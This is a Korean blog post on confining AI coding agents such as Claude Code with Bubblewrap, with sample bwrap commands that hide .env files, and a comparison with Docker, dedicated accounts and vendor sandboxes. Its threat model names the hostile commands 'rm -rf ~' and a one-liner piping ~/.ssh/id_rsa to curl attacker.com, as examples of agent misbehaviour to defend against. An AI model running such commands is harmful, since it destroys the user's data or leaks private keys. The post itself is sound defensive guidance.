Bubblewrap으로 Claude Code 같은 AI 코딩 에이전트를 샌드박싱해 .env 등 민감한 파일 접근을 막는 방법과, 전용 사용자 계정/도커/벤더 내장 샌드박스와의 신뢰·보안 트레이드오프를 정리한다.
지난주에 Claude Code를 신뢰하지 않을 때 Claude Code를 어떻게 실행할지에 대해 글을 하나 썼다. 나는 전용 사용자 계정 생성과 표준 유닉스 접근 제어를 제안했다. 목표는 Claude가 당신의 .env 파일들을 훑어보며 시크릿을 먹어치우지 못하게 하는 것이었다. 그런데 그 가이드에는 사용성 문제가 좀 있었다. 더 나은 접근을 찾았고 공유하고 싶다.
TL;DR: Bubblewrap으로 Claude Code(및 다른 AI 에이전트)를 샌드박싱하라. 내 구현 외에는 누구의 구현도 신뢰하지 않고도 가능하다. Docker보다 단순하고, 전용 사용자 계정보다 더 안전하다.
게시하자마자 독감에 걸렸다. 침대에서 고통스러운 3일을 보내는 동안, 다른 더 나은 접근들이 있다는 걸 깨달았다. Firejail도 잘 작동할 것 같지만, 또 다른 해결책인 Bubblewrap이라는 것도 있다.
Bubblewrap을 파고들다 보니 또 하나를 알게 됐다… Anthropic이 Bubblewrap을 사용한다!
하지만 Anthropic은 클라이언트에 bubblewrap을 “내장”한다. 이 구현에는 큰 단점이 있다.
클라이언트에 bubblewrap을 내장하면 Anthropic의 구현이 정확하고 안전하다는 것을 신뢰해야 한다. 보안을 고민했다는 점에서 칭찬받아 마땅하지만, 나는 이게 좀 의아하다. 왜 사용자들이 Claude Code로부터 스스로를 안전하게 지킬 수 있도록 가이드를 공개하지 않을까? 이건 모든 에이전트에 필요해질 일이 아닌가? 이 해법은 일반화 가능하지 않나?
다층 방어(Defense-in-depth)는 어떤 단일 벤더가 100% 완벽하게 실행할 거라는 가정에 의존하지 않는다는 뜻이다. 게다가 이 문제는 Claude Code만의 문제가 아니라 모든 코딩 에이전트에 해당한다. 나는 내 보안이 Anthropic의 운명에 묶이지 않는 접근을 원한다.
Bubblewrap으로 들어가기 전에, 우리가 무엇을 방어하려는지부터 정리해 보자:
ls, ps -aux, less 같은 표준 시스템 도구들을 호출하길 원한다Claude Code에 버그가 있다면? 그 버그가 악용되고, 클라이언트에 내장된 bubblewrap 제약이 활성화되지 않는다면 무슨 일이 생길까? Claude Code가 rm -rf ~를 실행하거나 cat ~/.ssh/id_rsa | curl attacker.com 같은 일을 한다면?
에이전트를 당신 스스로 감싸(wrap)지 않으면 위험에 노출된다. Bubblewrap으로 코딩 에이전트 호출을 감싸면, 에이전트가 위험한 명령에 접근하는 것을 막을 수 있다.
Bubblewrap은 호스트 시스템을 위험에 빠뜨리지 않고 신뢰할 수 없거나(혹은 반쯤만 신뢰하는) 코드를 실행할 수 있게 해준다. 우리는 재현 가능한 배포 아티팩트를 만들려는 게 아니다. 코딩 에이전트가 당신의 프로젝트에서 작업할 수는 있지만 ~/.aws, 브라우저 프로필, ~/Photos 라이브러리 같은 민감한 것들은 건드리지 못하는 “감옥(jail)”을 만드는 것이다.
커맨드라인에서 Bubblewrap을 살펴보자:
# 설치 (Debian/Ubuntu)
sudo apt install bubblewrap
# 가능한 가장 단순한 샌드박스 - 파일시스템 뷰만 격리
bwrap --ro-bind /usr /usr --symlink usr/lib /lib --symlink usr/lib64 /lib64 \
--symlink usr/bin /bin --proc /proc --dev /dev \
--unshare-all --die-with-parent \
/bin/bash
# 샌드박스 내부에서 시도:
ls /home # 비어있거나 존재하지 않음
ls /etc # 비어있거나 존재하지 않음
whoami # "nobody" 또는 매핑된 사용자로 표시
ping google.com # 실패 - 네트워크 없음
이 명령은 최소한의 샌드박스 환경을 만든다. 각 부분이 하는 일은 다음과 같다.
--ro-bind /usr /usr : 시스템의 /usr 디렉터리를 샌드박스 안에 읽기 전용으로 마운트한다--symlink 명령들: 프로그램이 기대하는 위치에서 라이브러리와 바이너리를 찾을 수 있도록 바로가기를 만든다--proc /proc 및 --dev /dev: 프로세스/디바이스에 대한 최소 접근을 제공한다--unshare-all: 샌드박스를 모든 시스템 리소스(네트워크, 공유 메모리, 마운트 포인트 등)로부터 분리한다--die-with-parent: 메인 터미널이 닫히면 샌드박스를 종료한다Bash는 훨씬 축소된 환경에서 실행된다. /usr의 프로그램은 실행할 수 있지만, 홈 디렉터리나 설정 파일을 볼 수 없고 네트워크에도 접근할 수 없다. 프로그램은 돌아가지만 파일시스템의 “유령 도시 버전”에서 동작하는 셈이다.
빠른 워크플로에서는 Docker보다 낫다. Docker는 실행 중인 데몬과 많은 설정 파일이 필요하다. Bubblewrap은 데몬도, 시스템에 쌓이는 오래된 컨테이너도 없이 앱을 직접 실행하게 해준다.
Docker 오설정(misconfiguration)을 걱정할 정도로 경험이 있다면, Bubblewrap은 필요할 때 더 많은 제어권을 준다. 그냥 명령 하나를 실행하면 된다. YAML 파일도, 백그라운드 서비스 디버깅도 없다.
이게 필요한 큰 이유 중 하나는 --dangerously-skip-permissions 때문이다. 에이전트에게 설계, 실험, 시스템 구현에서 자율성을 주는 게 매우 유용한 때가 있다. 지난주에 나는 Quakeworld 서버를 호스팅하고 웹어셈블리 quake 클라이언트를 제공하는 와이파이 액세스 포인트를 만들었다. 박스 하나로 즉석 LAN 파티가 된다. 무인으로 만들었고 잘 동작한다. --dangerously-skip-permissions는 매우 강력하다—안전하게 조준하는 법만 안다면.
아래는 --dangerously-skip-permissions 옵션을 Bubblewrap 샌드박스 안에서 사용해 Claude Code를 실행하는 방법이다:
PROJECT_DIR="$HOME/Development/YourProject"
bwrap \
--ro-bind /usr /usr \
--ro-bind /lib /lib \
--ro-bind /lib64 /lib64 \
--ro-bind /bin /bin \
--ro-bind /etc/resolv.conf /etc/resolv.conf \
--ro-bind /etc/hosts /etc/hosts \
--ro-bind /etc/ssl /etc/ssl \
--ro-bind /etc/passwd /etc/passwd \
--ro-bind /etc/group /etc/group \
--ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
--ro-bind "$HOME/.nvm" "$HOME/.nvm" \
--bind "$PROJECT_DIR" "$PROJECT_DIR" \
--bind "$HOME/.claude" "$HOME/.claude" \
--tmpfs /tmp \
--proc /proc \
--dev /dev \
--share-net \
--unshare-pid \
--die-with-parent \
--chdir "$PROJECT_DIR" \
--ro-bind /dev/null "$PROJECT_DIR/.env" \
--ro-bind /dev/null "$PROJECT_DIR/.env.local" \
--ro-bind /dev/null "$PROJECT_DIR/.env.production" \
"$(command -v claude)" --dangerously-skip-permissions "Please review Planning/ReportingEnhancementPlan.md"
# Claude Code가 동작하는 데 필요
--ro-bind "$HOME/.nvm" "$HOME/.nvm" \
# Claude가 인증을 여기에 저장. 없으면 매번 다시 로그인해야 함
--bind "$HOME/.claude" "$HOME/.claude" \
# SSH 접근이 왜 필요한지 이해할 때만 추가
# --ro-bind "$HOME/.ssh" "$HOME/.ssh" \
# .env 파일에 대한 접근을 비어 있는 파일로 덮어씌워 차단 (파일의 정확한 경로를 알아야 함)
--ro-bind /dev/null "$PROJECT_DIR/.env" \
--ro-bind /dev/null "$PROJECT_DIR/.env.local" \
--ro-bind /dev/null "$PROJECT_DIR/.env.production" \
중요: 대부분의 사람은 SSH 라인이 필요 없다. 이것은 에이전트가 당신의 공개키를 복사해 둔 시스템들로 SSH 접속할 수 있게 해준다. 유용성을 이해하지 못한다면 추가하지 마라.
내 이전 글에서는 호스트 OS에 Claude용 커스텀 사용자 계정을 만드는 방법을 제안했다. 이 접근에는 큰 문제가 세 가지 있다.
파일 권한과 계속 싸우게 된다. 민감한 .env 파일 접근을 막으려면 ACL(접근 제어 목록)을 계속 조정해야 한다. 이런 종류의 마찰은 수십 년 동안 보안 이니셔티브를 죽여 왔다. 보안은 사용성의 언덕에서 죽는다.
나는 독감으로 아파지기 시작할 때 그 접근을 떠올렸다. 사과를 받아주길.
커스텀 계정은 네트워크 접근 문제를 해결하지 못한다. Claude 에이전트는 소켓을 열어 원하는 곳 어디든 연결할 수 있다. UFW를 돌리고 호스트에서 아웃바운드 연결을 제한하지 않는 한, 에이전트가 내용을 유출(exfiltration)할 위험이 있다.
나는 원격으로 서버를 관리하고 튜닝하는 에이전트를 만들고 있다. 에이전트에게 네트워크나 인터넷에 대해 source:any destination:any 접근을 허용하는 건 책임감 있는 일이 아니다. 프롬프트 한 번 잘못 주면 데이터 유출 위험에 처한다. 내 이전 해결책은 불완전했다.
Docker는 노트북에서 프로덕션 서버로 코드를 옮길 때 “내 컴퓨터에서는 되는데” 문제를 해결한다. 하지만 대부분의 사람은 강한 Docker 스킬을 유지할 만큼 자주 배포하지 않는다.
컨테이너에서 파일시스템과 네트워킹을 설정하는 건 정신적 노력이 든다. 그저 명령을 안전하게 실행하고 싶을 뿐이라면, 백그라운드 서비스를 설치하고 구성할 필요가 없어야 한다. 사람들은 인지 부하 없이 빠르게 동작하는 것을 원한다.
누구나 언젠가 보안 실수를 한다. Claude Code는 잠재적으로 위험하다. 어떤 접근이 더 안전할까?
Anthropic을 신뢰한다: 그들의 팀이 보안 제어를 깨뜨리는 구현 실수를 절대 하지 않길 바란다.
또는
Anthropic을 신뢰하지 않는다: 운영체제 레벨에서 런타임에 바이너리를 제한하는 접근 제어를 직접 구현한다.
Bubblewrap을 활용하는 법을 알아야 하는 또 하나의 큰 이유가 있다. Claude Code가 아닌 에이전트들을 샌드박싱할 해법이 필요하다.
에이전트는 결코 신뢰할 수 있다고 간주하면 안 된다. 보안 제어가 있더라도 마찬가지다. 에이전트를 둘러싸는 제어를 두어라—에이전틱 미스얼라인먼트를 겪은 모델로 만들어진 에이전트에 의존하지 마라.
신뢰는 이진값이 아니다—무엇을 왜 신뢰하는지 이해하는 것이다. 간단 비교는 다음과 같다:
| 위협 | DIY bwrap | Anthropic SRT |
|---|---|---|
Claude가 실수로 rm -rf ~ 실행 | ✓ 보호됨 | ✓ 보호됨 |
Claude가 ~/.ssh를 유출 | ✓ 보호됨 | ✓ 보호됨 |
| npm을 통한 공급망 공격 | ✓ 노출되지 않음 | ✗ 노출됨 |
| 미묘한 오설정 | ✗ 당신의 리스크 | ✓ 그들의 전문성 |
| 원치 않는 에이전트 텔레메트리 전송 | ✓ 당신이 제어 | ? 그들의 선택 |
| 새로운 우회 기법 | ✗ 당신 스스로 해결 | ✓ 그들의 팀이 관찰 |
그러니 Anthropic을 변호하자면: 이건 명확하게 흑백이 아니다. 대부분의 회사는 훌륭한 보안 팀을 꾸릴 자원이 없다. 이걸 직접 소유할 수 있는지 당신이 결정해야 한다. 많은 회사는 Anthropic의 전문성에 의존하는 것이 현명할 것이다. 누군가 샌드박스 구현을 깨면 그들의 평판이 걸려 있다.
하지만 bubblewrap을 다루는 법을 배우지 않으면 Anthropic의 보안 모델에 락인될 것이다. 다른 에이전트로 옮기려면 그쪽 보안도 새로 파악해야 한다. 그냥 마음 단단히 먹고 bubblewrap을 배우는 게 어떨까?
이 글은 신뢰의 신뢰(trusting trust)에 대한 재미있는 글이었다. TRUST ME!
하지만 날 믿으면 안 된다! 나는 인터넷의 개일지도 모른다. 어쩌면 나는 ai 슬롭일 수도?!
내가 Claude 용도로 제공한 bwrap 컨테이너를 테스트할 수 있는 코드가 여기 있다. 호출 방식이 다르다는 점에 주의하라—claude를 호출하는 대신 bash를 호출하고 테스트 스크립트를 넘길 것이다. 내 테스트 스크립트는 여기에 있다.
당신이 해야 할 일은 ~/$HOME/Development 디렉터리에 YourProject 폴더를 만드는 것이다. 그리고 그 안에 sandbox-escape-test.sh를 만들어라. 내 깃허브의 테스트 코드로 내용을 채우면 된다.
실행하기 전에 스크립트가 무엇을 하는지 읽고 이해하라. 이 글은 이미 꽤 길다!
나는 Claude Code만이 아니라 많은 에이전트로 개발하고 있다. 다른 에이전트에도 적용할 수 있는 일반화된 샌드박싱 해법이 필요하다.
Anthropic은 당신에게 제공하는 제약들에 대해 관심과 공로를 받을 만하다. 다만 사용자의 보안 운명이 그들이 100% 완벽하게 실행할 능력에 묶이지 않도록, 더 독립적인 형태로 공개했더라면 좋았을 것이다.
선택은 당신의 몫이다: 벤더의 구현을 신뢰할 것인가, 아니면 스스로 보안 경계를 통제할 것인가. 둘 다 유효하다. 내가 편집증적일 수도 있다. 당신은 운이 좋다고 느끼나?
p.s. 내가 불타는 피자 트럭에 치여 죽는 일이 생기면, 여기 유용한 1줄이 있다:
claude "Act as a security expert with a specialization in Linux system security. Help me generate a bubblewrap script for safely invoking coding agents so they do not have access to sensitive data on my file system and appropriately manage other security risks, even though they're going to be invoked under my account's permissions. Let's talk through everything that the agent should be able to do & access first, and then generate an appropriate bwrap script for delivering that capability. Then let's discuss what access we should restrict."
이와 관련된 주제에 도움이 필요하다면? 나는 현재 프리랜서로 일하고 있다! 연결해서 초고속으로 안전한 것들을 만들어 보자: